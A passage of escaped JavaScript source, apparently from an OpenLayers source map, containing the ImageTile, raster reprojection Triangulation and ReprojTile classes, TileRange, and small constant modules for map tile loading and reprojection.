{import(\"./Tile.js\").Options} [opt_options] Tile options.\n */\n function ImageTile(tileCoord, state, src, crossOrigin, tileLoadFunction, opt_options) {\n var _this = _super.call(this, tileCoord, state, opt_options) || this;\n /**\n * @private\n * @type {?string}\n */\n _this.crossOrigin_ = crossOrigin;\n /**\n * Image URI\n *\n * @private\n * @type {string}\n */\n _this.src_ = src;\n _this.key = src;\n /**\n * @private\n * @type {HTMLImageElement|HTMLCanvasElement}\n */\n _this.image_ = new Image();\n if (crossOrigin !== null) {\n _this.image_.crossOrigin = crossOrigin;\n }\n /**\n * @private\n * @type {?function():void}\n */\n _this.unlisten_ = null;\n /**\n * @private\n * @type {import(\"./Tile.js\").LoadFunction}\n */\n _this.tileLoadFunction_ = tileLoadFunction;\n return _this;\n }\n /**\n * Get the HTML image element for this tile (may be a Canvas, Image, or Video).\n * @return {HTMLCanvasElement|HTMLImageElement|HTMLVideoElement} Image.\n * @api\n */\n ImageTile.prototype.getImage = function () {\n return this.image_;\n };\n /**\n * Sets an HTML image element for this tile (may be a Canvas or preloaded Image).\n * @param {HTMLCanvasElement|HTMLImageElement} element Element.\n */\n ImageTile.prototype.setImage = function (element) {\n this.image_ = element;\n this.state = TileState.LOADED;\n this.unlistenImage_();\n this.changed();\n };\n /**\n * Tracks loading or read errors.\n *\n * @private\n */\n ImageTile.prototype.handleImageError_ = function () {\n this.state = TileState.ERROR;\n this.unlistenImage_();\n this.image_ = getBlankImage();\n this.changed();\n };\n /**\n * Tracks successful image load.\n *\n * @private\n */\n ImageTile.prototype.handleImageLoad_ = function () {\n var image = /** @type {HTMLImageElement} */ (this.image_);\n if (image.naturalWidth && image.naturalHeight) {\n this.state = TileState.LOADED;\n }\n else {\n this.state = TileState.EMPTY;\n }\n this.unlistenImage_();\n this.changed();\n };\n /**\n * Load not yet loaded URI.\n * @api\n */\n ImageTile.prototype.load = function () {\n if (this.state == TileState.ERROR) {\n this.state = TileState.IDLE;\n this.image_ = new Image();\n if (this.crossOrigin_ !== null) {\n this.image_.crossOrigin = this.crossOrigin_;\n }\n }\n if (this.state == TileState.IDLE) {\n this.state = TileState.LOADING;\n this.changed();\n this.tileLoadFunction_(this, this.src_);\n this.unlisten_ = listenImage(this.image_, this.handleImageLoad_.bind(this), this.handleImageError_.bind(this));\n }\n };\n /**\n * Discards event handlers which listen for load completion or errors.\n *\n * @private\n */\n ImageTile.prototype.unlistenImage_ = function () {\n if (this.unlisten_) {\n this.unlisten_();\n this.unlisten_ = null;\n }\n };\n return ImageTile;\n}(Tile));\n/**\n * Get a 1-pixel blank image.\n * @return {HTMLCanvasElement} Blank image.\n */\nfunction getBlankImage() {\n var ctx = createCanvasContext2D(1, 1);\n ctx.fillStyle = 'rgba(0,0,0,0)';\n ctx.fillRect(0, 0, 1, 1);\n return ctx.canvas;\n}\nexport default ImageTile;\n//# sourceMappingURL=ImageTile.js.map","/**\n * @module ol/reproj/Triangulation\n */\nimport { boundingExtent, createEmpty, extendCoordinate, getArea, getBottomLeft, getBottomRight, getTopLeft, getTopRight, getWidth, intersects, } from '../extent.js';\nimport { getTransform } from '../proj.js';\nimport { log2, modulo } from '../math.js';\n/**\n * Single triangle; consists of 3 source points and 3 target points.\n * @typedef {Object} Triangle\n * @property {Array<import(\"../coordinate.js\").Coordinate>} source Source.\n * @property {Array<import(\"../coordinate.js\").Coordinate>} target Target.\n */\n/**\n * Maximum number of subdivision steps during raster reprojection triangulation.\n * Prevents high memory usage and large number of proj4 calls (for certain\n * transformations and areas). At most `2*(2^this)` triangles are created for\n * each triangulated extent (tile/image).\n * @type {number}\n */\nvar MAX_SUBDIVISION = 10;\n/**\n * Maximum allowed size of triangle relative to world width. When transforming\n * corners of world extent between certain projections, the resulting\n * triangulation seems to have zero error and no subdivision is performed. If\n * the triangle width is more than this (relative to world width; 0-1),\n * subdivison is forced (up to `MAX_SUBDIVISION`). Default is `0.25`.\n * @type {number}\n */\nvar MAX_TRIANGLE_WIDTH = 0.25;\n/**\n * @classdesc\n * Class containing triangulation of the given target extent.\n * Used for determining source data and the reprojection itself.\n */\nvar Triangulation = /** @class */ (function () {\n /**\n * @param {import(\"../proj/Projection.js\").default} sourceProj Source projection.\n * @param {import(\"../proj/Projection.js\").default} targetProj Target projection.\n * @param {import(\"../extent.js\").Extent} targetExtent Target extent to triangulate.\n * @param {import(\"../extent.js\").Extent} maxSourceExtent Maximal source extent that can be used.\n * @param {number} errorThreshold Acceptable error (in source units).\n * @param {?number} opt_destinationResolution The (optional) resolution of the destination.\n */\n function Triangulation(sourceProj, targetProj, targetExtent, maxSourceExtent, errorThreshold, opt_destinationResolution) {\n /**\n * @type {import(\"../proj/Projection.js\").default}\n * @private\n */\n this.sourceProj_ = sourceProj;\n /**\n * @type {import(\"../proj/Projection.js\").default}\n * @private\n */\n this.targetProj_ = targetProj;\n /** @type {!Object<string, import(\"../coordinate.js\").Coordinate>} */\n var transformInvCache = {};\n var transformInv = getTransform(this.targetProj_, this.sourceProj_);\n /**\n * @param {import(\"../coordinate.js\").Coordinate} c A coordinate.\n * @return {import(\"../coordinate.js\").Coordinate} Transformed coordinate.\n * @private\n */\n this.transformInv_ = function (c) {\n var key = c[0] + '/' + c[1];\n if (!transformInvCache[key]) {\n transformInvCache[key] = transformInv(c);\n }\n return transformInvCache[key];\n };\n /**\n * @type {import(\"../extent.js\").Extent}\n * @private\n */\n this.maxSourceExtent_ = maxSourceExtent;\n /**\n * @type {number}\n * @private\n */\n this.errorThresholdSquared_ = errorThreshold * errorThreshold;\n /**\n * @type {Array<Triangle>}\n * @private\n */\n this.triangles_ = [];\n /**\n * Indicates that the triangulation crosses edge of the source projection.\n * @type {boolean}\n * @private\n */\n this.wrapsXInSource_ = false;\n /**\n * @type {boolean}\n * @private\n */\n this.canWrapXInSource_ =\n this.sourceProj_.canWrapX() &&\n !!maxSourceExtent &&\n !!this.sourceProj_.getExtent() &&\n getWidth(maxSourceExtent) == getWidth(this.sourceProj_.getExtent());\n /**\n * @type {?number}\n * @private\n */\n this.sourceWorldWidth_ = this.sourceProj_.getExtent()\n ? getWidth(this.sourceProj_.getExtent())\n : null;\n /**\n * @type {?number}\n * @private\n */\n this.targetWorldWidth_ = this.targetProj_.getExtent()\n ? getWidth(this.targetProj_.getExtent())\n : null;\n var destinationTopLeft = getTopLeft(targetExtent);\n var destinationTopRight = getTopRight(targetExtent);\n var destinationBottomRight = getBottomRight(targetExtent);\n var destinationBottomLeft = getBottomLeft(targetExtent);\n var sourceTopLeft = this.transformInv_(destinationTopLeft);\n var sourceTopRight = this.transformInv_(destinationTopRight);\n var sourceBottomRight = this.transformInv_(destinationBottomRight);\n var sourceBottomLeft = this.transformInv_(destinationBottomLeft);\n /*\n * The maxSubdivision controls how many splittings of the target area can\n * be done. The idea here is to do a linear mapping of the target areas\n * but the actual overal reprojection (can be) extremely non-linear. The\n * default value of MAX_SUBDIVISION was chosen based on mapping a 256x256\n * tile size. However this function is also called to remap canvas rendered\n * layers which can be much larger. This calculation increases the maxSubdivision\n * value by the right factor so that each 256x256 pixel area has\n * MAX_SUBDIVISION divisions.\n */\n var maxSubdivision = MAX_SUBDIVISION +\n (opt_destinationResolution\n ? Math.max(0, Math.ceil(log2(getArea(targetExtent) /\n (opt_destinationResolution *\n opt_destinationResolution *\n 256 *\n 256))))\n : 0);\n this.addQuad_(destinationTopLeft, destinationTopRight, destinationBottomRight, destinationBottomLeft, sourceTopLeft, sourceTopRight, sourceBottomRight, sourceBottomLeft, maxSubdivision);\n if (this.wrapsXInSource_) {\n var leftBound_1 = Infinity;\n this.triangles_.forEach(function (triangle, i, arr) {\n leftBound_1 = Math.min(leftBound_1, triangle.source[0][0], triangle.source[1][0], triangle.source[2][0]);\n });\n // Shift triangles to be as close to `leftBound` as possible\n // (if the distance is more than `worldWidth / 2` it can be closer.\n this.triangles_.forEach(function (triangle) {\n if (Math.max(triangle.source[0][0], triangle.source[1][0], triangle.source[2][0]) -\n leftBound_1 >\n this.sourceWorldWidth_ / 2) {\n var newTriangle = [\n [triangle.source[0][0], triangle.source[0][1]],\n [triangle.source[1][0], triangle.source[1][1]],\n [triangle.source[2][0], triangle.source[2][1]],\n ];\n if (newTriangle[0][0] - leftBound_1 > this.sourceWorldWidth_ / 2) {\n newTriangle[0][0] -= this.sourceWorldWidth_;\n }\n if (newTriangle[1][0] - leftBound_1 > this.sourceWorldWidth_ / 2) {\n newTriangle[1][0] -= this.sourceWorldWidth_;\n }\n if (newTriangle[2][0] - leftBound_1 > this.sourceWorldWidth_ / 2) {\n newTriangle[2][0] -= this.sourceWorldWidth_;\n }\n // Rarely (if the extent contains both the dateline and prime meridian)\n // the shift can in turn break some triangles.\n // Detect this here and don't shift in such cases.\n var minX = Math.min(newTriangle[0][0], newTriangle[1][0], newTriangle[2][0]);\n var maxX = Math.max(newTriangle[0][0], newTriangle[1][0], newTriangle[2][0]);\n if (maxX - minX < this.sourceWorldWidth_ / 2) {\n triangle.source = newTriangle;\n }\n }\n }.bind(this));\n }\n transformInvCache = {};\n }\n /**\n * Adds triangle to the triangulation.\n * @param {import(\"../coordinate.js\").Coordinate} a The target a coordinate.\n * @param {import(\"../coordinate.js\").Coordinate} b The target b coordinate.\n * @param {import(\"../coordinate.js\").Coordinate} c The target c coordinate.\n * @param {import(\"../coordinate.js\").Coordinate} aSrc The source a coordinate.\n * @param {import(\"../coordinate.js\").Coordinate} bSrc The source b coordinate.\n * @param {import(\"../coordinate.js\").Coordinate} cSrc The source c coordinate.\n * @private\n */\n Triangulation.prototype.addTriangle_ = function (a, b, c, aSrc, bSrc, cSrc) {\n this.triangles_.push({\n source: [aSrc, bSrc, cSrc],\n target: [a, b, c],\n });\n };\n /**\n * Adds quad (points in clock-wise order) to the triangulation\n * (and reprojects the vertices) if valid.\n * Performs quad subdivision if needed to increase precision.\n *\n * @param {import(\"../coordinate.js\").Coordinate} a The target a coordinate.\n * @param {import(\"../coordinate.js\").Coordinate} b The target b coordinate.\n * @param {import(\"../coordinate.js\").Coordinate} c The target c coordinate.\n * @param {import(\"../coordinate.js\").Coordinate} d The target d coordinate.\n * @param {import(\"../coordinate.js\").Coordinate} aSrc The source a coordinate.\n * @param {import(\"../coordinate.js\").Coordinate} bSrc The source b coordinate.\n * @param {import(\"../coordinate.js\").Coordinate} cSrc The source c coordinate.\n * @param {import(\"../coordinate.js\").Coordinate} dSrc The source d coordinate.\n * @param {number} maxSubdivision Maximal allowed subdivision of the quad.\n * @private\n */\n Triangulation.prototype.addQuad_ = function (a, b, c, d, aSrc, bSrc, cSrc, dSrc, maxSubdivision) {\n var sourceQuadExtent = boundingExtent([aSrc, bSrc, cSrc, dSrc]);\n var sourceCoverageX = this.sourceWorldWidth_\n ? getWidth(sourceQuadExtent) / this.sourceWorldWidth_\n : null;\n var sourceWorldWidth = /** @type {number} */ (this.sourceWorldWidth_);\n // when the quad is wrapped in the source projection\n // it covers most of the projection extent, but not fully\n var wrapsX = this.sourceProj_.canWrapX() &&\n sourceCoverageX > 0.5 &&\n sourceCoverageX < 1;\n var needsSubdivision = false;\n if (maxSubdivision > 0) {\n if (this.targetProj_.isGlobal() && this.targetWorldWidth_) {\n var targetQuadExtent = boundingExtent([a, b, c, d]);\n var targetCoverageX = getWidth(targetQuadExtent) / this.targetWorldWidth_;\n needsSubdivision =\n targetCoverageX > MAX_TRIANGLE_WIDTH || needsSubdivision;\n }\n if (!wrapsX && this.sourceProj_.isGlobal() && sourceCoverageX) {\n needsSubdivision =\n sourceCoverageX > MAX_TRIANGLE_WIDTH || needsSubdivision;\n }\n }\n if (!needsSubdivision && this.maxSourceExtent_) {\n if (isFinite(sourceQuadExtent[0]) &&\n isFinite(sourceQuadExtent[1]) &&\n isFinite(sourceQuadExtent[2]) &&\n isFinite(sourceQuadExtent[3])) {\n if (!intersects(sourceQuadExtent, this.maxSourceExtent_)) {\n // whole quad outside source projection extent -> ignore\n return;\n }\n }\n }\n var isNotFinite = 0;\n if (!needsSubdivision) {\n if (!isFinite(aSrc[0]) ||\n !isFinite(aSrc[1]) ||\n !isFinite(bSrc[0]) ||\n !isFinite(bSrc[1]) ||\n !isFinite(cSrc[0]) ||\n !isFinite(cSrc[1]) ||\n !isFinite(dSrc[0]) ||\n !isFinite(dSrc[1])) {\n if (maxSubdivision > 0) {\n needsSubdivision = true;\n }\n else {\n // It might be the case that only 1 of the points is infinite. In this case\n // we can draw a single triangle with the other three points\n isNotFinite =\n (!isFinite(aSrc[0]) || !isFinite(aSrc[1]) ? 8 : 0) +\n (!isFinite(bSrc[0]) || !isFinite(bSrc[1]) ? 4 : 0) +\n (!isFinite(cSrc[0]) || !isFinite(cSrc[1]) ? 2 : 0) +\n (!isFinite(dSrc[0]) || !isFinite(dSrc[1]) ? 1 : 0);\n if (isNotFinite != 1 &&\n isNotFinite != 2 &&\n isNotFinite != 4 &&\n isNotFinite != 8) {\n return;\n }\n }\n }\n }\n if (maxSubdivision > 0) {\n if (!needsSubdivision) {\n var center = [(a[0] + c[0]) / 2, (a[1] + c[1]) / 2];\n var centerSrc = this.transformInv_(center);\n var dx = void 0;\n if (wrapsX) {\n var centerSrcEstimX = (modulo(aSrc[0], sourceWorldWidth) +\n modulo(cSrc[0], sourceWorldWidth)) /\n 2;\n dx = centerSrcEstimX - modulo(centerSrc[0], sourceWorldWidth);\n }\n else {\n dx = (aSrc[0] + cSrc[0]) / 2 - centerSrc[0];\n }\n var dy = (aSrc[1] + cSrc[1]) / 2 - centerSrc[1];\n var centerSrcErrorSquared = dx * dx + dy * dy;\n needsSubdivision = centerSrcErrorSquared > this.errorThresholdSquared_;\n }\n if (needsSubdivision) {\n if (Math.abs(a[0] - c[0]) <= Math.abs(a[1] - c[1])) {\n // split horizontally (top & bottom)\n var bc = [(b[0] + c[0]) / 2, (b[1] + c[1]) / 2];\n var bcSrc = this.transformInv_(bc);\n var da = [(d[0] + a[0]) / 2, (d[1] + a[1]) / 2];\n var daSrc = this.transformInv_(da);\n this.addQuad_(a, b, bc, da, aSrc, bSrc, bcSrc, daSrc, maxSubdivision - 1);\n this.addQuad_(da, bc, c, d, daSrc, bcSrc, cSrc, dSrc, maxSubdivision - 1);\n }\n else {\n // split vertically (left & right)\n var ab = [(a[0] + b[0]) / 2, (a[1] + b[1]) / 2];\n var abSrc = this.transformInv_(ab);\n var cd = [(c[0] + d[0]) / 2, (c[1] + d[1]) / 2];\n var cdSrc = this.transformInv_(cd);\n this.addQuad_(a, ab, cd, d, aSrc, abSrc, cdSrc, dSrc, maxSubdivision - 1);\n this.addQuad_(ab, b, c, cd, abSrc, bSrc, cSrc, cdSrc, maxSubdivision - 1);\n }\n return;\n }\n }\n if (wrapsX) {\n if (!this.canWrapXInSource_) {\n return;\n }\n this.wrapsXInSource_ = true;\n }\n // Exactly zero or one of *Src is not finite\n // The triangles must have the diagonal line as the first side\n // This is to allow easy code in reproj.s to make it straight for broken\n // browsers that can't handle diagonal clipping\n if ((isNotFinite & 0xb) == 0) {\n this.addTriangle_(a, c, d, aSrc, cSrc, dSrc);\n }\n if ((isNotFinite & 0xe) == 0) {\n this.addTriangle_(a, c, b, aSrc, cSrc, bSrc);\n }\n if (isNotFinite) {\n // Try the other two triangles\n if ((isNotFinite & 0xd) == 0) {\n this.addTriangle_(b, d, a, bSrc, dSrc, aSrc);\n }\n if ((isNotFinite & 0x7) == 0) {\n this.addTriangle_(b, d, c, bSrc, dSrc, cSrc);\n }\n }\n };\n /**\n * Calculates extent of the `source` coordinates from all the triangles.\n *\n * @return {import(\"../extent.js\").Extent} Calculated extent.\n */\n Triangulation.prototype.calculateSourceExtent = function () {\n var extent = createEmpty();\n this.triangles_.forEach(function (triangle, i, arr) {\n var src = triangle.source;\n extendCoordinate(extent, src[0]);\n extendCoordinate(extent, src[1]);\n extendCoordinate(extent, src[2]);\n });\n return extent;\n };\n /**\n * @return {Array<Triangle>} Array of the calculated triangles.\n */\n Triangulation.prototype.getTriangles = function () {\n return this.triangles_;\n };\n return Triangulation;\n}());\nexport default Triangulation;\n//# sourceMappingURL=Triangulation.js.map","/**\n * @module ol/renderer/canvas/common\n */\n/**\n * Context options to disable image smoothing.\n * @type {Object}\n */\nexport var IMAGE_SMOOTHING_DISABLED = {\n imageSmoothingEnabled: false,\n msImageSmoothingEnabled: false,\n};\n/**\n * Context options to enable image smoothing.\n * @type {Object}\n */\nexport var IMAGE_SMOOTHING_ENABLED = {\n imageSmoothingEnabled: true,\n msImageSmoothingEnabled: true,\n};\n//# sourceMappingURL=common.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/reproj/Tile\n */\nimport { ERROR_THRESHOLD } from './common.js';\nimport EventType from '../events/EventType.js';\nimport Tile from '../Tile.js';\nimport TileState from '../TileState.js';\nimport Triangulation from './Triangulation.js';\nimport { calculateSourceExtentResolution, canvasPool, render as renderReprojected, } from '../reproj.js';\nimport { clamp } from '../math.js';\nimport { getArea, getIntersection } from '../extent.js';\nimport { listen, unlistenByKey } from '../events.js';\nimport { releaseCanvas } from '../dom.js';\n/**\n * @typedef {function(number, number, number, number) : import(\"../Tile.js\").default} FunctionType\n */\n/**\n * @classdesc\n * Class encapsulating single reprojected tile.\n * See {@link module:ol/source/TileImage~TileImage}.\n *\n */\nvar ReprojTile = /** @class */ (function (_super) {\n __extends(ReprojTile, _super);\n /**\n * @param {import(\"../proj/Projection.js\").default} sourceProj Source projection.\n * @param {import(\"../tilegrid/TileGrid.js\").default} sourceTileGrid Source tile grid.\n * @param {import(\"../proj/Projection.js\").default} targetProj Target projection.\n * @param {import(\"../tilegrid/TileGrid.js\").default} targetTileGrid Target tile grid.\n * @param {import(\"../tilecoord.js\").TileCoord} tileCoord Coordinate of the tile.\n * @param {import(\"../tilecoord.js\").TileCoord} wrappedTileCoord Coordinate of the tile wrapped in X.\n * @param {number} pixelRatio Pixel ratio.\n * @param {number} gutter Gutter of the source tiles.\n * @param {FunctionType} getTileFunction\n * Function returning source tiles (z, x, y, pixelRatio).\n * @param {number} [opt_errorThreshold] Acceptable reprojection error (in px).\n * @param {boolean} [opt_renderEdges] Render reprojection edges.\n * @param {boolean} [opt_interpolate] Use linear interpolation when resampling.\n */\n function ReprojTile(sourceProj, sourceTileGrid, targetProj, targetTileGrid, tileCoord, wrappedTileCoord, pixelRatio, gutter, getTileFunction, opt_errorThreshold, opt_renderEdges, opt_interpolate) {\n var _this = _super.call(this, tileCoord, TileState.IDLE, { interpolate: !!opt_interpolate }) || this;\n /**\n * @private\n * @type {boolean}\n */\n _this.renderEdges_ = opt_renderEdges !== undefined ? opt_renderEdges : false;\n /**\n * @private\n * @type {number}\n */\n _this.pixelRatio_ = pixelRatio;\n /**\n * @private\n * @type {number}\n */\n _this.gutter_ = gutter;\n /**\n * @private\n * @type {HTMLCanvasElement}\n */\n _this.canvas_ = null;\n /**\n * @private\n * @type {import(\"../tilegrid/TileGrid.js\").default}\n */\n _this.sourceTileGrid_ = sourceTileGrid;\n /**\n * @private\n * @type {import(\"../tilegrid/TileGrid.js\").default}\n */\n _this.targetTileGrid_ = targetTileGrid;\n /**\n * @private\n * @type {import(\"../tilecoord.js\").TileCoord}\n */\n _this.wrappedTileCoord_ = wrappedTileCoord ? wrappedTileCoord : tileCoord;\n /**\n * @private\n * @type {!Array<import(\"../Tile.js\").default>}\n */\n _this.sourceTiles_ = [];\n /**\n * @private\n * @type {?Array<import(\"../events.js\").EventsKey>}\n */\n _this.sourcesListenerKeys_ = null;\n /**\n * @private\n * @type {number}\n */\n _this.sourceZ_ = 0;\n var targetExtent = targetTileGrid.getTileCoordExtent(_this.wrappedTileCoord_);\n var maxTargetExtent = _this.targetTileGrid_.getExtent();\n var maxSourceExtent = _this.sourceTileGrid_.getExtent();\n var limitedTargetExtent = maxTargetExtent\n ? getIntersection(targetExtent, maxTargetExtent)\n : targetExtent;\n if (getArea(limitedTargetExtent) === 0) {\n // Tile is completely outside range -> EMPTY\n // TODO: is it actually correct that the source even creates the tile ?\n _this.state = TileState.EMPTY;\n return _this;\n }\n var sourceProjExtent = sourceProj.getExtent();\n if (sourceProjExtent) {\n if (!maxSourceExtent) {\n maxSourceExtent = sourceProjExtent;\n }\n else {\n maxSourceExtent = getIntersection(maxSourceExtent, sourceProjExtent);\n }\n }\n var targetResolution = targetTileGrid.getResolution(_this.wrappedTileCoord_[0]);\n var sourceResolution = calculateSourceExtentResolution(sourceProj, targetProj, limitedTargetExtent, targetResolution);\n if (!isFinite(sourceResolution) || sourceResolution <= 0) {\n // invalid sourceResolution -> EMPTY\n // probably edges of the projections when no extent is defined\n _this.state = TileState.EMPTY;\n return _this;\n }\n var errorThresholdInPixels = opt_errorThreshold !== undefined ? opt_errorThreshold : ERROR_THRESHOLD;\n /**\n * @private\n * @type {!import(\"./Triangulation.js\").default}\n */\n _this.triangulation_ = new Triangulation(sourceProj, targetProj, limitedTargetExtent, maxSourceExtent, sourceResolution * errorThresholdInPixels, targetResolution);\n if (_this.triangulation_.getTriangles().length === 0) {\n // no valid triangles -> EMPTY\n _this.state = TileState.EMPTY;\n return _this;\n }\n _this.sourceZ_ = sourceTileGrid.getZForResolution(sourceResolution);\n var sourceExtent = _this.triangulation_.calculateSourceExtent();\n if (maxSourceExtent) {\n if (sourceProj.canWrapX()) {\n sourceExtent[1] = clamp(sourceExtent[1], maxSourceExtent[1], maxSourceExtent[3]);\n sourceExtent[3] = clamp(sourceExtent[3], maxSourceExtent[1], maxSourceExtent[3]);\n }\n else {\n sourceExtent = getIntersection(sourceExtent, maxSourceExtent);\n }\n }\n if (!getArea(sourceExtent)) {\n _this.state = TileState.EMPTY;\n }\n else {\n var sourceRange = sourceTileGrid.getTileRangeForExtentAndZ(sourceExtent, _this.sourceZ_);\n for (var srcX = sourceRange.minX; srcX <= sourceRange.maxX; srcX++) {\n for (var srcY = sourceRange.minY; srcY <= sourceRange.maxY; srcY++) {\n var tile = getTileFunction(_this.sourceZ_, srcX, srcY, pixelRatio);\n if (tile) {\n _this.sourceTiles_.push(tile);\n }\n }\n }\n if (_this.sourceTiles_.length === 0) {\n _this.state = TileState.EMPTY;\n }\n }\n return _this;\n }\n /**\n * Get the HTML Canvas element for this tile.\n * @return {HTMLCanvasElement} Canvas.\n */\n ReprojTile.prototype.getImage = function () {\n return this.canvas_;\n };\n /**\n * @private\n */\n ReprojTile.prototype.reproject_ = function () {\n var sources = [];\n this.sourceTiles_.forEach(function (tile, i, arr) {\n if (tile && tile.getState() == TileState.LOADED) {\n sources.push({\n extent: this.sourceTileGrid_.getTileCoordExtent(tile.tileCoord),\n image: tile.getImage(),\n });\n }\n }.bind(this));\n this.sourceTiles_.length = 0;\n if (sources.length === 0) {\n this.state = TileState.ERROR;\n }\n else {\n var z = this.wrappedTileCoord_[0];\n var size = this.targetTileGrid_.getTileSize(z);\n var width = typeof size === 'number' ? size : size[0];\n var height = typeof size === 'number' ? size : size[1];\n var targetResolution = this.targetTileGrid_.getResolution(z);\n var sourceResolution = this.sourceTileGrid_.getResolution(this.sourceZ_);\n var targetExtent = this.targetTileGrid_.getTileCoordExtent(this.wrappedTileCoord_);\n this.canvas_ = renderReprojected(width, height, this.pixelRatio_, sourceResolution, this.sourceTileGrid_.getExtent(), targetResolution, targetExtent, this.triangulation_, sources, this.gutter_, this.renderEdges_, this.interpolate);\n this.state = TileState.LOADED;\n }\n this.changed();\n };\n /**\n * Load not yet loaded URI.\n */\n ReprojTile.prototype.load = function () {\n if (this.state == TileState.IDLE) {\n this.state = TileState.LOADING;\n this.changed();\n var leftToLoad_1 = 0;\n this.sourcesListenerKeys_ = [];\n this.sourceTiles_.forEach(function (tile, i, arr) {\n var state = tile.getState();\n if (state == TileState.IDLE || state == TileState.LOADING) {\n leftToLoad_1++;\n var sourceListenKey_1 = listen(tile, EventType.CHANGE, function (e) {\n var state = tile.getState();\n if (state == TileState.LOADED ||\n state == TileState.ERROR ||\n state == TileState.EMPTY) {\n unlistenByKey(sourceListenKey_1);\n leftToLoad_1--;\n if (leftToLoad_1 === 0) {\n this.unlistenSources_();\n this.reproject_();\n }\n }\n }, this);\n this.sourcesListenerKeys_.push(sourceListenKey_1);\n }\n }.bind(this));\n if (leftToLoad_1 === 0) {\n setTimeout(this.reproject_.bind(this), 0);\n }\n else {\n this.sourceTiles_.forEach(function (tile, i, arr) {\n var state = tile.getState();\n if (state == TileState.IDLE) {\n tile.load();\n }\n });\n }\n }\n };\n /**\n * @private\n */\n ReprojTile.prototype.unlistenSources_ = function () {\n this.sourcesListenerKeys_.forEach(unlistenByKey);\n this.sourcesListenerKeys_ = null;\n };\n /**\n * Remove from the cache due to expiry\n */\n ReprojTile.prototype.release = function () {\n if (this.canvas_) {\n releaseCanvas(this.canvas_.getContext('2d'));\n canvasPool.push(this.canvas_);\n this.canvas_ = null;\n }\n _super.prototype.release.call(this);\n };\n return ReprojTile;\n}(Tile));\nexport default ReprojTile;\n//# sourceMappingURL=Tile.js.map","/**\n * @module ol/reproj/common\n */\n/**\n * Default maximum allowed threshold (in pixels) for reprojection\n * triangulation.\n * @type {number}\n */\nexport var ERROR_THRESHOLD = 0.5;\n/**\n * Enable automatic reprojection of raster sources. Default is `true`.\n * TODO: decide if we want to expose this as a build flag or remove it\n * @type {boolean}\n */\nexport var ENABLE_RASTER_REPROJECTION = true;\n//# sourceMappingURL=common.js.map","/**\n * @module ol/TileRange\n */\n/**\n * A representation of a contiguous block of tiles. A tile range is specified\n * by its min/max tile coordinates and is inclusive of coordinates.\n */\nvar TileRange = /** @class */ (function () {\n /**\n * @param {number} minX Minimum X.\n * @param {number} maxX Maximum X.\n * @param {number} minY Minimum Y.\n * @param {number} maxY Maximum Y.\n */\n function TileRange(minX, maxX, minY, maxY) {\n /**\n * @type {number}\n */\n this.minX = minX;\n /**\n * @type {number}\n */\n this.maxX = maxX;\n /**\n * @type {number}\n */\n this.minY = minY;\n /**\n * @type {number}\n */\n this.maxY = maxY;\n }\n /**\n * @param {import(\"./tilecoord.js\").TileCoord} tileCoord Tile coordinate.\n * @return {boolean} Contains tile coordinate.\n */\n TileRange.prototype.contains = function (tileCoord) {\n return this.containsXY(tileCoord[1], tileCoord[2]);\n };\n /**\n * @param {TileRange} tileRange Tile range.\n * @return {boolean} Contains.\n */\n TileRange.prototype.containsTileRange = function (tileRange) {\n return (this.minX <= tileRange.minX &&\n tileRange.maxX <= this.maxX &&\n this.minY <= tileRange.minY &&\n tileRange.maxY <= this.maxY);\n };\n /**\n * @param {number} x Tile coordinate x.\n * @param {number} y Tile coordinate y.\n * @return {boolean} Contains coordinate.\n */\n TileRange.prototype.containsXY = function (x, y) {\n return this.minX <= x && x <= this.maxX && this.minY <= y && y <= this.maxY;\n };\n /**\n * @param {TileRange} tileRange Tile range.\n * @return {boolean} Equals.\n */\n TileRange.prototype.equals = function (tileRange) {\n return (this.minX == tileRange.minX &&\n this.minY == tileRange.minY &&\n this.maxX == tileRange.maxX &&\n this.maxY == tileRange.maxY);\n };\n /**\n * @param {TileRange} tileRange Tile range.\n */\n TileRange.prototype.extend = function (tileRange) {\n if (tileRange.minX < this.minX) {\n this.minX = tileRange.minX;\n }\n if (tileRange.maxX > this.maxX) {\n this.maxX = tileRange.maxX;\n }\n if (tileRange.minY < this.minY) {\n this.minY = tileRange.minY;\n }\n if (tileRange.maxY > this.maxY) {\n this.maxY = tileRange.maxY;\n }\n };\n /**\n * @return {number} Height.\n */\n TileRange.prototype.getHeight = function () {\n return this.maxY - this.minY + 1;\n };\n /**\n * @return {import(\"./size.js\").Size} Size.\n */\n TileRange.prototype.getSize = function () {\n return [this.getWidth(), this.getHeight()];\n };\n /**\n * @return {number} Width.\n */\n TileRange.prototype.getWidth = function () {\n return this.maxX - this.minX + 1;\n };\n /**\n * @param {TileRange} tileRange Tile range.\n * @return {boolean} Intersects.\n */\n TileRange.prototype.intersects = function (tileRange) {\n return (this.minX <= tileRange.maxX &&\n this.maxX >= tileRange.minX &&\n this.minY <= tileRange.maxY &&\n this.maxY >= tileRange.minY);\n };\n return TileRange;\n}());\n/**\n * @param {number} minX Minimum X.\n * @param {number} maxX Maximum X.\n * @param {number} minY Minimum Y.\n * @param {number} maxY Maximum Y.\n * @param {TileRange} [tileRange] TileRange.\n * @return {TileRange} Tile range.\n */\nexport function createOrUpdate(minX, maxX, minY, maxY, tileRange) {\n if (tileRange !== undefined) {\n tileRange.minX = minX;\n tileRange.maxX = maxX;\n tileRange.minY = minY;\n tileRange.maxY = maxY;\n return tileRange;\n }\n else {\n return new TileRange(minX, maxX, minY, maxY);\n }\n}\nexport default TileRange;\n//# sourceMappingURL=TileRange.js.map","/**\n * @module ol/size\n */\n/**\n * An array of numbers representing a size: `[width, height]`.\n * @typedef {Array<number>} Size\n * @api\n */\n/**\n * Returns a buffered size.\n * @param {Size} size Size.\n * @param {number} num The amount by which to buffer.\n * @param {Size} [opt_size] Optional reusable size array.\n * @return {Size} The buffered size.\n */\nexport function buffer(size, num, opt_size) {\n if (opt_size === undefined) {\n opt_size = [0, 0];\n }\n opt_size[0] = size[0] + 2 * num;\n opt_size[1] = size[1] + 2 * num;\n return opt_size;\n}\n/**\n * Determines if 